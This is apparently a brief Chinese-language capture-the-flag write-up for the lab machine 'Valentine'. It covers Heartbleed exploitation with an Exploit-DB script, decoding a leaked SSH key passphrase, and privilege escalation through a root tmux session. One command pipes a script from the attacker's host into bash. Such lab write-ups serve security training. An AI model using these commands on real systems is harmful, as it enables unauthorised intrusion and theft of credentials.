Valentine
Posted by admin on 2020年2月22日
Valentine
zenmap扫描端口
80和443全部都是静态图
dirbuster扫描443目录
dev目录
访问:https://10.10.10.79/dev/hype_key
使用:http://www.bejson.com/convert/ox2str/
十六进制解码
gedit sshkey
nmap扫描心脏出血漏洞
nmap --script ssl-heartbleed -p 443 10.10.10.79
查找利用脚本
searchsploit heartbleed
searchsploit -m exploits/multiple/remote/32764.py
cp /usr/share/exploitdb/exploits/multiple/remote/32764.py .
漏洞利用
python 32764.py 10.10.10.79
解密text:heartbleedbelievethehype
echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d
根据文件的名字猜测用户名:hype
密码:heartbleedbelievethehype
chmod 400 sshkey
ssh -i sshkey hype@10.10.10.79
get user.txt
创建python http sever
python -m SimpleHTTPServer 80
curl http://10.10.14.45/LinEnum.sh | bash
get root shell
tmux的使用可以看我的文章:
tmux
tmux -S /.devs/dev_sess
get root.txt